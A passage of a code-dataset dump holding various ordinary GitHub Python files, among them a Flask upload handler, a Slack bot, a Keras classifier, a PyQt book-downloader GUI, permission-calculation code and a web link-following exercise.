allowed_file(file.filename):\n image_filename = secure_filename(file.filename)\n file_path = os.path.join(UPLOAD_FOLDER, image_filename)\n file.save(file_path)\n\n return redirect(url_for('analyze', image_filename=image_filename))\n\n return redirect(url_for('index'))\n\n@app.route('/analyze/', methods=['GET'])\ndef analyze(image_filename):\n logger.debug(\"analyze() 関数が実行されました。\")\n file_path = os.path.join(UPLOAD_FOLDER, image_filename)\n preprocessed_image = preprocess_image(file_path)\n logger.debug(\"preprocess_image() 関数が完了しました。\")\n match_info = extract_match_info(preprocessed_image)\n logger.debug(\"extract_match_info() 関数が完了しました。\")\n\n return render_template('match_result.html', match_info=match_info)\n\n\n@app.route('/preview/')\ndef preview(image_filename):\n # file_path = os.path.join(UPLOAD_FOLDER, image_filename)\n return render_template('preview.html', image_filename=image_filename)\n\n\n@app.teardown_appcontext\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()","repo_name":"NaruseDaigo/lol-wildrift-result-reader","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75027969503","text":"import os\nimport random\nfrom flask import Flask\nfrom slack import WebClient\nfrom slackeventsapi import SlackEventAdapter\n\napp = Flask(__name__)\n\nslack_web_client = WebClient(token=os.environ.get(\"SLACKBOT_TOKEN\"))\n\nslack_events_adapter = SlackEventAdapter(os.environ.get(\"SLACK_EVENTS_TOKEN\"), \"/slack/events\", app)\n\nMESSAGE_BLOCK = {\n \"type\": \"section\",\n \"text\": {\n \"type\": \"mrkdwn\",\n \"text\": \"\",\n },\n}\n\n@slack_events_adapter.on(\"message\")\ndef message(payload):\n \n event = payload.get(\"event\", {})\n\n text = event.get(\"text\")\n\n if \"flip a coin\" in text.lower():\n channel_id = event.get(\"channel\")\n\n rand_int = random.randint(0, 1)\n if rand_int == 0:\n results = \"Heads\"\n else:\n results = \"Tails\"\n message = f\"The result is {results}\"\n\n MESSAGE_BLOCK[\"text\"][\"text\"] = message\n\n x = {\"channel\": channel_id, \"blocks\": [MESSAGE_BLOCK]}\n\n return slack_web_client.chat_postMessage(**x)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)","repo_name":"MasonEgger-Demos/do-slackbot-techtalk","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"33662928228","text":"from PIL import ImageGrab\r\nimport win32gui\r\nimport time\r\ntoplist, winlist = [], []\r\ndef enum_cb(hwnd, results):\r\n winlist.append((hwnd, win32gui.GetWindowText(hwnd)))\r\nwin32gui.EnumWindows(enum_cb, toplist)\r\n\r\ncomm = [(hwnd, title) for hwnd, title in winlist if 'communicator' in title.lower()]\r\n# just grab the hwnd for first window matching firefox\r\ncomm = comm[0]\r\nhwnd = comm[0]\r\n\r\nwin32gui.SetForegroundWindow(hwnd)\r\nbbox = win32gui.GetWindowRect(hwnd)\r\nprint(bbox)\r\nimg = ImageGrab.grab(bbox)\r\nimg.save(\"comm.png\")\r\n","repo_name":"ccarm666/python3_directx","sub_path":"window_cap.py","file_name":"window_cap.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70498453662","text":"from svm import SVM\nfrom sklearn.datasets import load_svmlight_file\nfrom sklearn import metrics\nimport numpy as np\n\nnp.random.seed(1000)\n\nlist_results = []\nfor it in range(2):\n learner = SVM(\n trade_off=1.0,\n gamma=0.1,\n batch_size=10,\n rf_dim=400,\n learning_rate=1e-3,\n num_epochs=20,\n )\n\n x_train, y_train = load_svmlight_file('svmguide1.txt')\n x_test, y_test = load_svmlight_file('svmguide1_t.txt')\n x_train = x_train.toarray()\n x_test = x_test.toarray()\n\n y_train[y_train == 0] = -1\n y_test[y_test == 0] = -1\n\n learner.fit(x_train, y_train, x_test, y_test)\n\n y_test_predict = learner.predict(x_test)\n test_acc = metrics.accuracy_score(y_test, y_test_predict)\n # print('Test accuracy:', test_acc)\n list_results.append(test_acc)\n\nprint('Test acc:', list_results)\n","repo_name":"khanhndk/tf_svm","sub_path":"run_svm.py","file_name":"run_svm.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71101293344","text":"import json\r\nimport pandas as pd\r\nimport requests\r\n\r\nclass SymbolScraper:\r\n \r\n \r\n def __init__(self):\r\n # Define the links for the scraping\r\n instruments_link = 'https://api.etorostatic.com/sapi/app-data/web-client/app-data/instruments-groups.json'\r\n data_link = 'https://api.etorostatic.com/sapi/instrumentsmetadata/V1.1/instruments/bulk?bulkNumber=1&totalBulks=1'\r\n \r\n # Gather types of instruments and their attributes\r\n response = requests.get(instruments_link)\r\n parsed_types = json.loads(response.text)\r\n \r\n # Divide types\r\n self.instruments = parsed_types['InstrumentTypes']\r\n self.exchanges = parsed_types['ExchangeInfo']\r\n self.stocks = parsed_types['StocksIndustries']\r\n self.crypto = parsed_types['CryptoCategories']\r\n \r\n # Gather all the instruments\r\n response = requests.get(data_link)\r\n self.data = json.loads(response.text)['InstrumentDisplayDatas']\r\n \r\n # We collect the instruments with their attributes here\r\n self.inst = []\r\n\r\n \r\n def replace_symbol_ending(self,symbol,old_end,new_end):\r\n if symbol.endswith(old_end):\r\n i = symbol.rsplit(old_end,1)\r\n symbol = new_end.join(i)\r\n\r\n return symbol\r\n def get(self):\r\n # Loop through all the instruments\r\n symbols = []\r\n\r\n for d in self.data:\r\n \r\n # NEW EDIT: If the instrument is not available for the users, we don't need it\r\n if d['IsInternalInstrument']:\r\n continue\r\n \r\n # Gather the necessary data about the instrument\r\n instrument_typeID = d['InstrumentTypeID']\r\n name = d['InstrumentDisplayName']\r\n exchangeID = d['ExchangeID']\r\n symbol = d['SymbolFull']\r\n\r\n symbol = self.replace_symbol_ending(symbol,'.NV','.AS')\r\n symbol = self.replace_symbol_ending(symbol,'.ZU','.SW')\r\n symbol = self.replace_symbol_ending(symbol,'.B','-B')\r\n symbol = symbol.replace(\"00241.HK\", \"0241.HK\")\r\n symbol = symbol.replace(\"02018.HK\", \"2018.HK\")\r\n symbol = symbol.replace(\"02020.HK\", \"2020.HK\")\r\n symbol = symbol.replace(\"00285.HK\", \"0285.HK\")\r\n symbol = symbol.replace(\"01211.HK\", \"1211.HK\")\r\n symbol = symbol.replace(\"03690.HK\", \"3690.HK\")\r\n symbol = symbol.replace(\"BOSSD.DE\", \"BOSS.DE\")\r\n symbol = symbol.replace(\"LSXD.DE\", \"LXS.DE\")\r\n\r\n\r\n\r\n # Instrument type\r\n instrument_type = next(item for item in self.instruments\r\n if item['InstrumentTypeID'] == instrument_typeID)['InstrumentTypeDescription']\r\n \r\n # Industry type\r\n try:\r\n industryID = d['StocksIndustryID']\r\n industry = next(item for item in self.stocks\r\n if item['IndustryID'] == industryID)['IndustryName']\r\n # If the instrument don't have industry, we have to give it a placeholder\r\n except (KeyError, StopIteration):\r\n industry = '-'\r\n \r\n # Exchange location\r\n try:\r\n exchange = next(item for item in self.exchanges\r\n if item['ExchangeID'] == exchangeID)['ExchangeDescription']\r\n # If the instrument don't have exchange location, we have to give it a placeholder\r\n except StopIteration:\r\n exchange = '-'\r\n \r\n # Sum up the gathered data\r\n self.inst.append({\r\n 'name': name,\r\n 'symbol': symbol,\r\n 'instrument type': instrument_type,\r\n 'exchange': exchange,\r\n 'industry': industry\r\n })\r\n\r\n symbols.append(symbol)\r\n \r\n \r\n # Create a Pandas DataFrame from the assets\r\n self.inst = pd.DataFrame(self.inst, index=symbols)\r\n return self.inst","repo_name":"gitwalter/stock_market_dashboard","sub_path":"datafeed/etoro.py","file_name":"etoro.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"29318715268","text":"import io\r\nimport time\r\n\r\nimport chess\r\nimport chess.pgn\r\nimport pyautogui\r\n\r\nfrom src.helpers import move_mouse_back\r\n\r\npyautogui.PAUSE = 0.01\r\n\r\n\r\ndef sleep_and_press_key(\r\n key: str,\r\n amount: int = 2,\r\n sleep_time: float = 0.5,\r\n) -> None:\r\n time.sleep(sleep_time)\r\n for _ in range(amount):\r\n pyautogui.press(key)\r\n\r\n\r\ndef sleep_and_click_at_coordinates(\r\n coords: tuple[int, int],\r\n button: str = \"left\",\r\n sleep_time: float = 0.5,\r\n) -> None:\r\n with move_mouse_back():\r\n time.sleep(sleep_time)\r\n pyautogui.click(*coords, button=button)\r\n\r\n\r\ndef get_moves_from_game(pgn_game: str) -> list[str]:\r\n game = chess.pgn.read_game(io.StringIO(pgn_game))\r\n assert game is not None\r\n return [str(move) for move in game.mainline_moves()]\r\n","repo_name":"grdddj/My-codebase","sub_path":"Python/Chess Robot/tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1768362038","text":"def convertToTitle(columnNumber):\n title = \"\"\n \n while columnNumber > 0:\n # Convert the remainder into the corresponding letter\n remainder = (columnNumber - 1) % 26\n title = chr(65 + remainder) + title\n \n # Update columnNumber to move to the next division\n columnNumber = (columnNumber - 1) // 26\n \n return title\n\n\n","repo_name":"cptroykeith/PRACTICE","sub_path":"Excel Sheet Column Title/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70047181344","text":"\"\"\"\"\nCode function: the csv format data into eda code requirements txt text format\n\"\"\"\nimport csv\nimport sys\nimport numpy as np\naftercl_data = \"./data/eventpairs_binary_threshold_0.5_train.csv\"\noutfile = \"./before_eda_data/threshold_0.5.txt\"\n\n# read dataset\ntraining_with_label = []\nwith open(aftercl_data, 'r', encoding='UTF-8') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\\\"')\n for row in csvreader:\n training_with_label.append(row)\nsys.stdout.write(\"#Dataset :{}\\n\".format(len(training_with_label)))\n# print(\"data:\", np.shape(training_with_label))\n\n# Take e2 and label and combine them into label\\te2\ntrans_data = []\nfor row in training_with_label:\n e2 = row[1]\n label = row[2]\n data = str(label) + \"\\t\" + str(e2)\n trans_data.append(data)\n\n# Store the processed data in a.txt file\nwith open(outfile, 'w', encoding='UTF-8') as txtfile:\n for row in trans_data:\n txtfile.write(row + '\\n')\n\n\n","repo_name":"lhr024/EDA-AREI","sub_path":"EDA-AREI/eda_SR_process/binary_threshold_0.5_csv2txt.py","file_name":"binary_threshold_0.5_csv2txt.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32909827755","text":"from functools import partial\nfrom pathlib import Path\nfrom typing import cast\n\nimport click\nimport qdarktheme\nfrom gevent import Greenlet, joinall, spawn\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import QObject, QRunnable, QThreadPool, pyqtSignal\nfrom PyQt5.QtGui import QFontDatabase\nfrom PyQt5.QtWidgets import (\n QApplication,\n QDesktopWidget,\n QFileDialog,\n QLabel,\n QMainWindow,\n QMessageBox,\n QPushButton,\n)\n\nfrom shamela2epub import PKG_DIR\nfrom shamela2epub.main import BookDownloader\nfrom shamela2epub.misc.utils import browse_file_directory\nfrom shamela2epub.models.book_html_page import BookHTMLPage\n\n\nclass QBookDownloader(BookDownloader):\n def __init__(self, url: str) -> None:\n super().__init__(url, connections=10)\n self.progress: pyqtSignal = pyqtSignal(str)\n\n def download_page(self, page_number: int) -> BookHTMLPage:\n with self._sem:\n book_html_page = BookHTMLPage(f\"{self.url}/{page_number}\")\n self.progress.emit(\n f\"تحميل الصفحة {page_number} من {self.epub_book.pages_count}\"\n )\n return book_html_page\n\n def download(self) -> None:\n self.progress.emit(f\"تحميل الصفحة 1 من {self.epub_book.pages_count}\")\n self.create_first_page()\n jobs = [\n spawn(self.download_page, page_number)\n for page_number in range(2, self.epub_book.pages_count + 1)\n ]\n job: Greenlet\n for job in joinall(jobs):\n self.epub_book.add_page(job.value)\n\n\nclass WorkerSignals(QObject):\n finished = pyqtSignal()\n progress = pyqtSignal(str)\n downloaded = pyqtSignal(Path)\n\n\nclass Worker(QRunnable):\n def __init__(self, downloader: QBookDownloader, output: str) -> None:\n super().__init__()\n self.downloader: QBookDownloader = downloader\n self.output: str = output\n self.signals = WorkerSignals()\n\n def run(self) -> None:\n \"\"\"Process the book.\"\"\"\n self.downloader.progress = self.signals.progress\n self.downloader.create_info_page()\n self.signals.progress.emit(\n f\"بدء العمل على كتاب {self.downloader.book_info_page.title} لمؤلفه {self.downloader.book_info_page.author}\"\n )\n self.downloader.download()\n self.signals.progress.emit(\"حفظ الكتاب\")\n output_book = self.downloader.save_book(self.output)\n self.signals.downloaded.emit(output_book)\n self.signals.finished.emit()\n\n\nclass App(QMainWindow):\n download: QPushButton\n statusbar: QLabel\n url_form: QLabel\n\n def __init__(self) -> None:\n \"\"\"GUI App constructor.\"\"\"\n super().__init__()\n self.thread_pool: QThreadPool = QThreadPool()\n\n uic.loadUi(f\"{PKG_DIR}/gui/ui.ui\", self)\n # self.setWindowIcon(QIcon(f\"{WORK_DIR}/assets/books-duotone-512.png\"))\n self.center()\n self.download.clicked.connect(self.run)\n self.statusbar.setText(\"جاهز\")\n\n def update_statusbar(self, text: str) -> None:\n self.statusbar.setText(text)\n self.statusbar.repaint()\n\n def on_process_complete(self, filepath: Path) -> None:\n message_box = QMessageBox(\n QMessageBox.Information,\n \"اكتمل التحميل\",\n \"هل تريد فتح الكتاب الآن؟\",\n parent=self,\n )\n open_path = QPushButton(\"فتح\")\n message_box.addButton(QPushButton(\"لا\"), QMessageBox.NoRole)\n message_box.addButton(open_path, QMessageBox.ActionRole)\n open_path.clicked.connect(partial(browse_file_directory, filepath))\n message_box.exec_()\n\n def show_error_message(self, message: str) -> None:\n message_box = QMessageBox(\n QMessageBox.Critical,\n \"خطأ\",\n message,\n parent=self,\n )\n message_box.addButton(QPushButton(\"حسنا\"), QMessageBox.YesRole)\n message_box.exec_()\n\n def choose_output_directory(self) -> str:\n \"\"\"Opens select file Dialog.\"\"\"\n output_directory = QFileDialog().getExistingDirectory(\n self, \"اختر مكان حفظ الكتاب\"\n )\n if not output_directory:\n self.show_error_message(\"لم تختر مكانا لحفظ الكتاب!\")\n return \"\"\n return cast(str, output_directory)\n\n def report_progress(self, progress: str) -> None:\n self.update_statusbar(progress)\n\n def on_finish(self) -> None:\n self.download.setEnabled(True)\n self.url_form.setEnabled(True)\n self.url_form.setText(\"\")\n self.update_statusbar(\"اكتمل التحميل!\")\n\n def run(self) -> None:\n self.download.setDisabled(True)\n self.url_form.setDisabled(True)\n if not self.url_form.text():\n self.show_error_message(\"لم تدخل رابط الكتاب بعد!\")\n self.download.setEnabled(True)\n self.url_form.setDisabled(False)\n return\n downloader = QBookDownloader(self.url_form.text())\n if not downloader.valid:\n self.show_error_message(\"رابط غير صحيح!\")\n self.download.setEnabled(True)\n return\n output = self.choose_output_directory()\n if not output:\n self.download.setEnabled(True)\n return\n self.update_statusbar(\"تحليل معلومات الرابط\")\n # Create a qrunner and start it in a thread\n worker = Worker(downloader, output)\n self.thread_pool.start(worker)\n # Connect signals and slots\n worker.signals.progress.connect(self.report_progress)\n worker.signals.downloaded.connect(self.on_process_complete)\n # Final resets\n worker.signals.finished.connect(self.on_finish)\n\n def center(self) -> None:\n \"\"\"Dynamically center the window in screen.\"\"\"\n # https://gist.github.com/saleph/163d73e0933044d0e2c4\n # geometry of the main window\n window = self.frameGeometry()\n # center point of screen\n center_point = QDesktopWidget().availableGeometry().center()\n # move rectangle's center point to screen's center point\n window.moveCenter(center_point)\n # top left of rectangle becomes top left of window centering it\n self.move(window.topLeft())\n\n\n@click.command()\ndef gui() -> None:\n \"\"\"Run Shamela2Epub GUI.\"\"\"\n import sys\n\n app = QApplication(sys.argv)\n window = App()\n QFontDatabase.addApplicationFont(f\"{PKG_DIR}/assets/NotoNaskhArabic-Regular.ttf\")\n app.setStyleSheet(qdarktheme.load_stylesheet())\n window.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n gui()\n","repo_name":"yshalsager/shamela2epub","sub_path":"shamela2epub/gui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6724,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"17990092312","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 1 09:58:51 2018\n\n@author: Mallikarjun Dodmani\n\"\"\"\n\n# Visualize training history\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport matplotlib.pyplot as plt\nimport numpy\nimport pandas\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom keras.utils import np_utils\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.pipeline import Pipeline\nimport keras.backend as K\ndef mean_pred(y_true, y_pred):\n return K.mean(y_pred)\n# fix random seed for reproducibility\nseed = 7\nnumpy.random.seed(seed)\n# load pima indians dataset\n#datasetIn = numpy.loadtxt(r\"C:\\Users\\DST_AI\\Desktop\\Test_Data/CNInput.csv\", delimiter=\",\")\n#datasetOut = numpy.loadtxt(r\"C:\\Users\\DST_AI\\Desktop\\Test_Data/CNDR.csv\", delimiter=\",\")\n\ndataframe1 = pandas.read_csv(r\"C:\\Users\\DST_AI\\Desktop\\Test_Data/CNInputEncoded.csv\", delimiter=\",\")\ndatasetIn = dataframe1.values\nX = datasetIn[:,0:104]\nprint('X',X)\nY = datasetIn[:,104]\nprint('y',Y)\n# encode class values as integers\nencoder = LabelEncoder()\nencoder.fit(Y)\nencoded_Y = encoder.transform(Y)\n# convert integers to dummy variables (i.e. one hot encoded)\ndummy_y = np_utils.to_categorical(encoded_Y)\n\n# split into input (X) and output (Y) variables\n#X = datasetIn[:,0:103]\n#Y = datasetOut[:,0]\n# create model\nmodel = Sequential()\nmodel.add(Dense(100, input_dim=104, kernel_initializer='uniform', activation='relu'))\nmodel.add(Dense(100, kernel_initializer='uniform', activation='relu'))\nmodel.add(Dense(100, kernel_initializer='uniform', activation='relu'))\nmodel.add(Dense(1, kernel_initializer='uniform', activation='sigmoid'))\n# Compile model\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy', 'mse', 'mae', 'mape'])\n# Fit the model\nhistory = model.fit(X, Y, validation_split=0.33, epochs=500, batch_size=10, verbose=0)\n# list all data in history\nprint(history.history.keys())\n# summarize history for accuracy\n# evaluate the model\nscores = model.evaluate(X, Y)\nprint(\"\\n%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\nprint(\"\\n%s: %.2f%%\" % (model.metrics_names[2], scores[2]))\nprint(\"\\n%s: %.2f%%\" % (model.metrics_names[3], scores[3]))\nprint(\"\\n%s: %.2f%%\" % (model.metrics_names[4], scores[4]))\npredictions = model.predict(X)\n# round predictions\nrounded = [round(x[0]) for x in predictions]\n# =============================================================================\n# model_json = model.to_json()\n# with open(\"model.json\", \"w\") as json_file:\n# json_file.write(model_json)\n# # serialize weights to HDF5\n# model.save_weights(\"model.h5\")\n# from keras.layers import Dense\n# from keras.models import model_from_json\n# import os\n# # load json and create model\n# json_file = open('model.json', 'r')\n# loaded_model_json = json_file.read()\n# json_file.close()\n# loaded_model = model_from_json(loaded_model_json)\n# # load weights into new model\n# loaded_model.load_weights(\"model.h5\")\n# loaded_model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy', mean_pred])\n# score = loaded_model.evaluate(X, Y, verbose=0)\n# =============================================================================\n#print(\"%s: %.2f%%\" % (loaded_model.metrics_names[1], score[1]*100))\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('Cranial Nerve Model Accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n# summarize history for loss\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Cranial Nerve Model Loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n\nplt.plot(history.history['mean_squared_error'])\nplt.plot(history.history['mean_absolute_error'])\nplt.plot(history.history['mean_absolute_percentage_error'])\nplt.legend(['mse', 'mae', 'mape'], loc='upper left')\nplt.title('Error plot')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.show()\n","repo_name":"nd2-mallik/AI-in-Clinical-Diagnosis","sub_path":"kerasImplementationCranialNerve.py","file_name":"kerasImplementationCranialNerve.py","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14367636090","text":"import ctypes\nfrom dataclasses import dataclass\nfrom typing import Optional, Union, TYPE_CHECKING\n\nif TYPE_CHECKING:\n from litecord.typing_hax import app\nelse:\n from quart import current_app as app\n\n# so we don't keep repeating the same\n# type for all the fields\n_i = ctypes.c_uint8\n\n\nclass _RawPermsBits(ctypes.LittleEndianStructure):\n \"\"\"raw bitfield for discord's permission number.\"\"\"\n\n _fields_ = [\n (\"create_invites\", _i, 1),\n (\"kick_members\", _i, 1),\n (\"ban_members\", _i, 1),\n (\"administrator\", _i, 1),\n (\"manage_channels\", _i, 1),\n (\"manage_guild\", _i, 1),\n (\"add_reactions\", _i, 1),\n (\"view_audit_log\", _i, 1),\n (\"priority_speaker\", _i, 1),\n (\"stream\", _i, 1),\n (\"read_messages\", _i, 1),\n (\"send_messages\", _i, 1),\n (\"send_tts\", _i, 1),\n (\"manage_messages\", _i, 1),\n (\"embed_links\", _i, 1),\n (\"attach_files\", _i, 1),\n (\"read_history\", _i, 1),\n (\"mention_everyone\", _i, 1),\n (\"external_emojis\", _i, 1),\n (\"view_guild_insights\", _i, 1),\n (\"connect\", _i, 1),\n (\"speak\", _i, 1),\n (\"mute_members\", _i, 1),\n (\"deafen_members\", _i, 1),\n (\"move_members\", _i, 1),\n (\"use_voice_activation\", _i, 1),\n (\"change_nickname\", _i, 1),\n (\"manage_nicknames\", _i, 1),\n (\"manage_roles\", _i, 1),\n (\"manage_webhooks\", _i, 1),\n (\"manage_emojis\", _i, 1),\n ]\n\n\nclass Permissions(ctypes.Union):\n \"\"\"Main permissions class. Holds helper functions to convert between\n the bitfield and an integer, etc.\n\n Parameters\n ----------\n val\n The permissions value as an integer.\n \"\"\"\n\n _fields_ = [(\"bits\", _RawPermsBits), (\"binary\", ctypes.c_uint64)]\n\n def __init__(self, val: Union[str, int]):\n # always coerce to int, even when the user gives us a str, because\n # python ints are infinity-sized (yes, yes, the memory concerns, yes)\n self.binary = int(val)\n\n def __repr__(self):\n return f\"\"\n\n def __int__(self):\n return self.binary\n\n\nALL_PERMISSIONS = Permissions(0b01111111111111111111111111111111)\nEMPTY_PERMISSIONS = Permissions(0)\n\n\n@dataclass\nclass Target:\n type: int\n user_id: Optional[int]\n role_id: Optional[int]\n\n @property\n def is_user(self):\n return self.type == 1\n\n @property\n def is_role(self):\n return self.type == 0\n\n\nasync def get_role_perms(guild_id, role_id, storage=None) -> Permissions:\n \"\"\"Get the raw :class:`Permissions` object for a role.\"\"\"\n if not storage:\n storage = app.storage\n\n perms = await storage.db.fetchval(\n \"\"\"\n SELECT permissions\n FROM roles\n WHERE guild_id = $1 AND id = $2\n \"\"\",\n guild_id,\n role_id,\n )\n\n assert perms is not None\n\n return Permissions(perms)\n\n\nasync def base_permissions(member_id, guild_id, storage=None) -> Permissions:\n \"\"\"Compute the base permissions for a given user.\n\n Base permissions are\n (permissions from @everyone role) +\n (permissions from any other role the member has)\n\n This will give ALL_PERMISSIONS if base permissions\n has the Administrator bit set.\n \"\"\"\n\n if not storage:\n storage = app.storage\n\n owner_id = await storage.db.fetchval(\n \"\"\"\n SELECT owner_id\n FROM guilds\n WHERE id = $1\n \"\"\",\n guild_id,\n )\n\n if owner_id == member_id:\n return ALL_PERMISSIONS\n\n # get permissions for @everyone\n permissions = await get_role_perms(guild_id, guild_id, storage)\n\n role_ids = await storage.db.fetch(\n \"\"\"\n SELECT role_id\n FROM member_roles\n WHERE guild_id = $1 AND user_id = $2\n \"\"\",\n guild_id,\n member_id,\n )\n\n role_perms = []\n\n for row in role_ids:\n rperm = await storage.db.fetchval(\n \"\"\"\n SELECT permissions\n FROM roles\n WHERE id = $1\n \"\"\",\n row[\"role_id\"],\n )\n\n role_perms.append(rperm)\n\n for perm_num in role_perms:\n permissions.binary |= perm_num\n\n if permissions.bits.administrator:\n return ALL_PERMISSIONS\n\n return permissions\n\n\ndef overwrite_mix(perms: Permissions, overwrite: dict) -> Permissions:\n \"\"\"Mix a single permission with a single overwrite.\"\"\"\n # we make a copy of the binary representation\n # so we don't modify the old perms in-place\n # which could be an unwanted side-effect\n result = perms.binary\n\n # negate the permissions that are denied\n result &= ~overwrite[\"deny\"]\n\n # combine the permissions that are allowed\n result |= overwrite[\"allow\"]\n\n return Permissions(result)\n\n\ndef overwrite_find_mix(\n perms: Permissions, overwrites: dict, target_id: int\n) -> Permissions:\n \"\"\"Mix a given permission with a given overwrite.\n\n Returns the given permission if an overwrite is not found.\n\n Parameters\n ----------\n perms\n The permissions for the given target.\n overwrites\n The overwrites for the given actor (mostly channel).\n target_id\n The target's ID in the overwrites dict.\n\n Returns\n -------\n Permissions\n The mixed permissions object.\n \"\"\"\n overwrite = overwrites.get(target_id)\n\n if overwrite:\n # only mix if overwrite found\n return overwrite_mix(perms, overwrite)\n\n return perms\n\n\nasync def role_permissions(\n guild_id: int, role_id: int, channel_id: int, storage=None\n) -> Permissions:\n \"\"\"Get the permissions for a role, in relation to a channel\"\"\"\n if not storage:\n storage = app.storage\n\n perms = await get_role_perms(guild_id, role_id, storage)\n\n overwrite = await storage.db.fetchrow(\n \"\"\"\n SELECT allow, deny\n FROM channel_overwrites\n WHERE channel_id = $1 AND target_type = $2 AND target_role = $3\n \"\"\",\n channel_id,\n 1,\n role_id,\n )\n\n if overwrite:\n perms = overwrite_mix(perms, overwrite)\n\n return perms\n\n\nasync def compute_overwrites(\n base_perms: Permissions,\n user_id,\n channel_id: int,\n guild_id: Optional[int] = None,\n storage=None,\n):\n \"\"\"Compute the permissions in the context of a channel.\"\"\"\n if not storage:\n storage = app.storage\n\n if base_perms.bits.administrator:\n return ALL_PERMISSIONS\n\n perms = base_perms\n\n # list of overwrites\n overwrites = await storage.chan_overwrites(channel_id, safe=False)\n\n # if the channel isn't a guild, we should just return\n # ALL_PERMISSIONS. the old approach was calling guild_from_channel\n # again, but it is already passed by get_permissions(), so its\n # redundant.\n if not guild_id:\n return ALL_PERMISSIONS\n\n # make it a map for better usage\n overwrites = {o[\"id\"]: o for o in overwrites}\n\n perms = overwrite_find_mix(perms, overwrites, guild_id)\n\n # apply role specific overwrites\n allow, deny = 0, 0\n\n # fetch roles from user and convert to int\n role_ids = await storage.get_member_role_ids(guild_id, user_id)\n\n # make the allow and deny binaries\n for role_id in role_ids:\n overwrite = overwrites.get(role_id)\n if overwrite:\n allow |= overwrite[\"allow\"]\n deny |= overwrite[\"deny\"]\n\n # final step for roles: mix\n perms = overwrite_mix(perms, {\"allow\": allow, \"deny\": deny})\n\n # apply member specific overwrites\n perms = overwrite_find_mix(perms, overwrites, user_id)\n\n return perms\n\n\nasync def get_permissions(member_id: int, channel_id, *, storage=None) -> Permissions:\n \"\"\"Get the permissions for a user in a channel.\"\"\"\n if not storage:\n storage = app.storage\n\n guild_id = await storage.guild_from_channel(channel_id)\n\n # for non guild channels\n if not guild_id:\n return ALL_PERMISSIONS\n\n base_perms = await base_permissions(member_id, guild_id, storage)\n\n return await compute_overwrites(\n base_perms, member_id, channel_id, guild_id, storage\n )\n","repo_name":"dolfies/patchcord","sub_path":"litecord/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":8024,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"7"} +{"seq_id":"16920072331","text":"# To run this, download the BeautifulSoup zip file\n# http://www.py4e.com/code3/bs4.zip\n# and unzip it in the same directory as this file\n\nimport urllib.request, urllib.parse, urllib.error\nfrom bs4 import BeautifulSoup\nimport ssl\ncount2 = 0\ncount1 = 0\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\n#enter the Url to start\n#how long do you repeat\n#position of url\nurl = input('Enter - ')\ncount11 = int(input('Enter count: '))\nposition = int(input ('Enter position: '))\n\n# range between 0 and the imputed count\nfor count1 in range(0, count11):\n html = urllib.request.urlopen(url, context=ctx).read()\n #cleans up the html code\n soup = BeautifulSoup(html, 'html.parser')\n tags = soup('a')\n #finds position imputed at start(list starts at 0 thats why subtracting)\n url = tags[position-1].get('href', None)\n count1 = count1 + 1\n\nprint(url)\n","repo_name":"munozAndrew/PY4E","sub_path":"bs4HTML.py","file_name":"bs4HTML.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25801010392","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom config import DIR_FIGURES\nfrom scripts_figures.global_vals_funcs import COLOR_OPTS\nfrom scripts_figures.global_vals_funcs import SPEC_DICT\n\n\ndef df_num_obs(bin_size, 